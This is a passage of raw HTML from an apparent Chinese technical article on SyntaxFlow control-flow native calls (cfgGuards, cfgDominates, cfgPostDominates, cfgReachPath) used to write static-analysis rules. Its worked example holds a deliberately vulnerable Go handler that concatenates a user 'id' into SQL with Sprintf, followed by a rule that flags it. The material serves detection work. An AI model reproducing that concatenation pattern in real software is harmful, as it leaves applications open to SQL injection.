UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">true</span></span></code><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;"> / </span></span><code style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">false</span></span></code><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">。</span></span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="php"><code><span leaf=""><span class="code-snippet__title">foo</span>() <span class="code-snippet__keyword">as</span> <span class="code-snippet__variable">$call</span></span></code><br/><code><span leaf=""><span class="code-snippet__title">println</span>(* #-&gt; <span class="code-snippet__keyword">as</span> <span class="code-snippet__variable">$sinkArg</span>)</span></code><br/><code><span leaf=""><span class="code-snippet__variable">$call</span>&lt;<span class="code-snippet__title">getCfg</span>()&gt; <span class="code-snippet__keyword">as</span> <span class="code-snippet__variable">$callCfg</span></span></code><br/><code><span leaf=""><span class="code-snippet__variable">$sinkArg</span>&lt;<span class="code-snippet__title">getCfg</span>()&gt; <span class="code-snippet__keyword">as</span> <span class="code-snippet__variable">$sinkCfg</span></span></code><br/><code><span leaf=""><span class="code-snippet__variable">$callCfg</span>&lt;<span class="code-snippet__title">cfgPostDominates</span>(<span class="code-snippet__attr">target</span>: <span class="code-snippet__string">&#34;</span><span class="code-snippet__string"><span class="code-snippet__subst">$sinkCfg</span></span><span class="code-snippet__string">&#34;</span>)&gt; <span class="code-snippet__keyword">as</span> <span class="code-snippet__variable">$pd</span>  <span class="code-snippet__comment">// true</span></span></code><br/></pre></p><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);" data-pm-slice="6 8 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);"><p style="outline: 0px;"><strong style="outline: 0px;"><em style="outline: 0px;"><span leaf="">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;"><p style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);"><h4 data-pm-slice="0 0 []"><code><span leaf="" mpa-font-style="mq0ht0qv1fs2" style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;" data-pm-slice="0 0 []" data-mpa-action-id="mq0ht0r6tsj"><span textstyle="" style="font-weight: bold;">4.cfgPostDominates</span></span></code></h4></p></div></div></div></div><p data-pm-slice="0 0 []" style="margin: 8px;line-height: 1.6em;"><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">从当前 cfg 沿控制流到函数出口，是否必经</span></span><code><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">target</span></span></code><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">（图论：target 后支配 current）。用于「往后走是否一定经过某点」。参数形式同 </span></span><code><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">cfgDominates</span></span></code><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">。</span></span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="php"><code><span leaf=""><span class="code-snippet__title">foo</span>() <span class="code-snippet__keyword">as</span> <span class="code-snippet__variable">$call</span></span></code><br/><code><span leaf=""><span class="code-snippet__title">println</span>(* #-&gt; <span class="code-snippet__keyword">as</span> <span class="code-snippet__variable">$sinkArg</span>)</span></code><br/><code><span leaf=""><span class="code-snippet__variable">$call</span>&lt;<span class="code-snippet__title">getCfg</span>()&gt; <span class="code-snippet__keyword">as</span> <span class="code-snippet__variable">$callCfg</span></span></code><br/><code><span leaf=""><span class="code-snippet__variable">$sinkArg</span>&lt;<span class="code-snippet__title">getCfg</span>()&gt; <span class="code-snippet__keyword">as</span> <span class="code-snippet__variable">$sinkCfg</span></span></code><br/><code><span leaf=""><span class="code-snippet__variable">$callCfg</span>&lt;<span class="code-snippet__title">cfgPostDominates</span>(<span class="code-snippet__attr">target</span>: <span class="code-snippet__string">&#34;</span><span class="code-snippet__string"><span class="code-snippet__subst">$sinkCfg</span></span><span class="code-snippet__string">&#34;</span>)&gt; <span class="code-snippet__keyword">as</span> <span class="code-snippet__variable">$pd</span>  <span class="code-snippet__comment">// true</span></span></code><br/></pre></p><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);margin-left: 0;margin-right: 0;" data-pm-slice="6 8 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);"><p style="outline: 0px;"><strong style="outline: 0px;"><em style="outline: 0px;"><span leaf="" mpa-font-style="mpyzdrkt1tae">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin-left: 0;margin-right: 0;"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;"><p style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);"><h4 data-pm-slice="0 0 []"><span style="font-weight: bold;" mpa-font-style="mpyzdrkt1777"><span leaf="" mpa-font-style="mq0kt0mw1pr8" style="font-size: 14px;" data-mpa-action-id="mq0kt0nb19fg" data-pm-slice="0 0 []">5.使用案例</span></span></h4></p></div></div></div></div><p data-pm-slice="0 0 []" style="margin: 8px;line-height: 1.6em;"><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">在了解上述4个 </span></span><code><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">native call</span></span></code><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;"> 后，之前在本文开头提到的案例就有</span><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">解决方案</span><span textstyle="" style="letter-spacing: 1px;">了：</span></span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="javascript"><code><span leaf="">id := r.<span class="code-snippet__property">URL</span>.<span class="code-snippet__title">Query</span>().<span class="code-snippet__title">Get</span>(<span class="code-snippet__string">&#34;id&#34;</span>) </span></code><br/><code><span leaf=""><span class="code-snippet__keyword">if</span> !<span class="code-snippet__title">filterValidateID</span>(<span class="code-snippet__params">id</span>) {</span></code><br/><code><span leaf="">    http.<span class="code-snippet__title">Error</span>(w, <span class="code-snippet__string">&#34;invalid id&#34;</span>, http.<span class="code-snippet__property">StatusBadRequest</span>)</span></code><br/><code><span leaf="">    <span class="code-snippet__keyword">return</span></span></code><br/><code><span leaf="">}</span></code><br/><code><span leaf="">query := fmt.<span class="code-snippet__title">Sprintf</span>(<span class="code-snippet__string">&#34;SELECT username FROM users WHERE id = %s&#34;</span>, id)</span></code><br/><code><span leaf="">_, _ = db.<span class="code-snippet__title">Query</span>(query) <span class="code-snippet__comment">// sink</span></span></code><br/></pre></p><p data-pm-slice="0 0 []" style="margin: 8px;line-height: 1.6em;"><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">核心思路</span><span textstyle="" style="letter-spacing: 1px;">为使用 </span></span><code><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">cfgGuards</span></span></code><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;"> 判断上述控制流中没有 </span></span><code><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">return</span></span></code><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;"> 类型的截断：</span></span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="php"><code><span leaf="">&lt;<span class="code-snippet__keyword">include</span>(<span class="code-snippet__string">&#39;golang-database-sql&#39;</span>)&gt; <span class="code-snippet__keyword">as</span> <span class="code-snippet__variable">$sink</span>;</span></code><br/><code><span leaf="">&lt;<span class="code-snippet__keyword">include</span>(<span class="code-snippet__string">&#39;golang-user-input&#39;</span>)&gt; <span class="code-snippet__keyword">as</span> <span class="code-snippet__variable">$input</span>;</span></code><br/><code><span leaf="">*.Query <span class="code-snippet__keyword">as</span> <span class="code-snippet__variable">$func</span>;</span></code><br/><code><span leaf="">*.QueryRow <span class="code-snippet__keyword">as</span> <span class="code-snippet__variable">$func</span>;</span></code><br/><code><span leaf=""><span class="code-snippet__comment">// ---------- 1. getCfg：source / sink 锚点 ----------</span></span></code><br/><code><span leaf=""><span class="code-snippet__comment">// 用户输入命中点 → 基本块（与 include $input 同源）</span></span></code><br/><code><span leaf=""><span class="code-snippet__variable">$input</span> <span class="code-snippet__keyword">as</span> <span class="code-snippet__variable">$srcHit</span>;</span></code><br/><code><span leaf=""><span class="code-snippet__variable">$srcHit</span>&lt;<span class="code-snippet__title">getCfg</span>()&gt; <span class="code-snippet__keyword">as</span> <span class="code-snippet__variable">$sourceCfg</span>;</span></code><br/><code><span leaf=""><span class="code-snippet__comment">// Query 实参 → sink 基本块</span></span></code><br/><code><span leaf=""><span class="code-snippet__variable">$func</span>(* <span class="code-snippet__keyword">as</span> <span class="code-snippet__variable">$param</span>);</span></code><br/><code><span leaf=""><span class="code-snippet__variable">$param</span>&lt;<span class="code-snippet__title">getCfg</span>()&gt; <span class="code-snippet__keyword">as</span> <span class="code-snippet__variable">$sinkCfg</span>;</span></code><br/><code><span leaf=""><span class="code-snippet__comment">// ---------- 2. cfgGuards：sink 侧分支截断（过滤 return 守卫） ----------</span></span></code><br/><code><span leaf=""><span class="code-snippet__comment">// sink 块上：存在「另一侧 return、本侧能到 sink」时得到 earlyReturn 等；!opcode:return 保留可分析链</span></span></code><br/><code><span leaf=""><span class="code-snippet__variable">$sinkCfg</span>&lt;<span class="code-snippet__title">cfgGuards</span>()&gt; <span class="code-snippet__keyword">as</span> <span class="code-snippet__variable">$guards</span>;</span></code><br/><code><span leaf=""><span class="code-snippet__variable">$param</span>?{&lt;<span class="code-snippet__title">cfgGuards</span>()&gt;?{!opcode: <span class="code-snippet__keyword">return</span>}} <span class="code-snippet__keyword">as</span> <span class="code-snippet__variable">$paramOk</span>;</span></code><br/><code><span leaf=""><span class="code-snippet__comment">// ---------- 3. 数据流 + 再次用 cfgGuards exclude ----------</span></span></code><br/><code><span leaf=""><span class="code-snippet__variable">$paramOk </span><span class="code-snippet__comment">#{</span></span></code><br/><code><span leaf="">    until: `/Sprintf/`,</span></code><br/><code><span leaf="">    until: `*?{opcode:add}`,</span></code><br/><code><span leaf="">    <span class="code-snippet__keyword">include</span>: <span class="code-snippet__string">&lt;&lt;&lt;CODE</span></span></code><br/><code><span leaf="">* &amp; <span class="code-snippet__subst">$input</span></span></code><br/><code><span leaf="">CODE,</span></code><br/><code><span leaf="">    exclude: <span class="code-snippet__string">&lt;&lt;&lt;CODE</span></span></code><br/><code><span leaf="">*?{&lt;cfgGuards(opcode: return)&gt;}</span></code><br/><code><span leaf="">CODE,</span></code><br/><code><span leaf="">}-&gt; <span class="code-snippet__keyword">as</span> <span class="code-snippet__variable">$path</span>;</span></code><br/><code><span leaf=""><span class="code-snippet__comment">// ---------- 4. cfgDominates：路径上的点须被 source 块支配 ----------</span></span></code><br/><code><span leaf=""><span class="code-snippet__comment">// 从函数入口到该 SSA 点须必经 $sourceCfg（id 赋值所在控制流）</span></span></code><br/><code><span leaf=""><span class="code-snippet__variable">$path</span>?{*&lt;<span class="code-snippet__title">cfgDominates</span>(<span class="code-snippet__attr">target</span>: <span class="code-snippet__string">&#34;</span><span class="code-snippet__string"><span class="code-snippet__subst">$sourceCfg</span></span><span class="code-snippet__string">&#34;</span>)&gt;?{have: <span class="code-snippet__string">&#34;true&#34;</span>}} <span class="code-snippet__keyword">as</span> <span class="code-snippet__variable">$high</span>;</span></code><br/><code><span leaf="">alert <span class="code-snippet__variable">$high</span> <span class="code-snippet__keyword">for</span> {</span></code><br/><code><span leaf="">    level: <span class="code-snippet__string">&#34;high&#34;</span>,</span></code><br/><code><span leaf="">    title: <span class="code-snippet__string">&#34;SQL injection (concat after validation)&#34;</span></span></code><br/><code><span leaf="">    title_zh: <span class="code-snippet__string">&#34;校验后仍拼接 SQL，且 source 支配污点路径&#34;</span></span></code><br/><code><span leaf="">    risk: <span class="code-snippet__string">&#34;SQL注入&#34;</span>,</span></code><br/><code><span leaf="">    message: <span class="code-snippet__string">&#34;已用 getCfg 锚定 source/sink，cfgGuards 剔除 return 截断分支，cfgDominates 要求路径必经用户输入；请改用 db.Query(\&#34;... ?\&#34;, id)。&#34;</span>,</span></code><br/><code><span leaf="">}</span></code><br/></pre></p><div data-pm-slice="5 4 []"><div style="margin-bottom: 0px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;"><p style="margin-bottom: 2px;outline: 0px;"><h2 data-pm-slice="0 0 []" style="outline: 0px;text-align: justify;font-size: 18px;"><span leaf="" style="font-size: 18px;"><span textstyle="" style="font-weight: bold;">三、新增NativeCall的高阶用法</span></span></h2></p></div></div><div><div><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);margin-left: 0;margin-right: 0;" data-pm-slice="6 9 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);"><p style="outline: 0px;"><strong style="outline: 0px;"><em style="outline: 0px;"><span leaf="" mpa-font-style="mpyzdrkt1tae">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin-left: 0;margin-right: 0;"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;"><p style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);"><h4 data-pm-slice="0 0 []"><code><span leaf="" mpa-font-style="mq0htibg50k" style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;" data-mpa-action-id="mq0htibqqvm" data-pm-slice="0 0 []"><span textstyle="" style="font-weight: bold;">1.cfgReachable</span></span></code></h4></p></div></div></div></div><p data-pm-slice="0 0 []" data-mpa-action-id="mq0kz6v820o9" style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span mpa-font-style="mq0kz6uv3mi" style="font-size: 15px;" data-mpa-action-id="mq0l00qs1gwx" data-pm-slice="0 0 []"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">当前 cfg 能否沿 CFG 到达 </span></span><code><span style="letter-spacing: 1px;font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" mpa-font-style="mq0kzufw3mc"><span leaf="">target</span></span></code><span leaf=""><span textstyle="" style="letter-spacing: 1px;">cfg。返回 </span></span><code><span style="letter-spacing: 1px;font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" mpa-font-style="mq0kzxg01ic5"><span leaf="">true</span></span></code><span mpa-font-style="mq0kzxg01f0s" style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;"> / </span></span><code><span style="letter-spacing: 1px;font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" mpa-font-style="mq0l00qesso"><span leaf="">false</span></span></code></span><span style="letter-spacing: 1px;font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" mpa-font-style="mq0kzxg01nym"><span leaf="" mpa-font-style="mq0l00qe1f43" style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">。</span></span></span></p><pre data-pm-slice="0 0 []" data-mpa-action-id="mq0kzpgr1wlg"><code data-lark-language="C" data-wrap="false" data-mpa-action-id="mq0kzhb31t61" data-pm-slice="0 0 []"><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="php"><code><span leaf=""><span class="code-snippet__variable">$callerCfg</span>&lt;<span class="code-snippet__title">cfgReachPath</span>(<span class="code-snippet__attr">target</span>: <span class="code-snippet__string">&#34;</span><span class="code-snippet__string"><span class="code-snippet__subst">$calleeCfg</span></span><span class="code-snippet__string">&#34;</span>,<span class="code-snippet__attr"> icfg</span>: <span class="code-snippet__literal">true</span>,<span class="code-snippet__attr"> max_depth</span>: <span class="code-snippet__number">4</span>)&gt; <span class="code-snippet__keyword">as</span><span class="code-snippet__variable">$path</span></span></code><br/></pre></p></code><br/></pre><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;text-align: left;"><code><span mpa-font-style="mq0kzhaq15wy" style="font-size: 15px;"><span style="letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" mpa-font-style="mq0kzpg81c22"><span leaf="">1.icfg</span></span></span></code><span mpa-font-style="mq0kzpg8nqg" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" data-mpa-action-id="mq0l04b59bn" data-pm-slice="0 0 []"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">：是否仅过程内 CFG沿基本块 </span></span><code><span style="letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" mpa-font-style="mq0l04asaok"><span leaf="">Succs</span></span></code><span leaf=""><span textstyle="" style="letter-spacing: 1px;">走，不进 callee、不从 return 回到 caller；</span></span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;text-align: left;"><span mpa-font-style="mq0kzpg8x2z" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" data-mpa-action-id="mq0l08ip4bn" data-pm-slice="0 0 []"><code><span style="letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" mpa-font-style="mq0l08icn2l"><span leaf="">2.max_depth</span></span></code><span style="letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" mpa-font-style="mq0l08ic1agf"><span leaf="">：</span></span><span leaf=""><span textstyle="" style="letter-spacing: 1px;">限制「穿过多少次调用/返回」，防止 ICFG 搜太深（填写 -1 表示无限制）；</span></span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;text-align: left;"><span mpa-font-style="mq0kzhaqxcu" style="font-size: 15px;" data-mpa-action-id="mq0l0el91rl0" data-pm-slice="0 0 []"><span 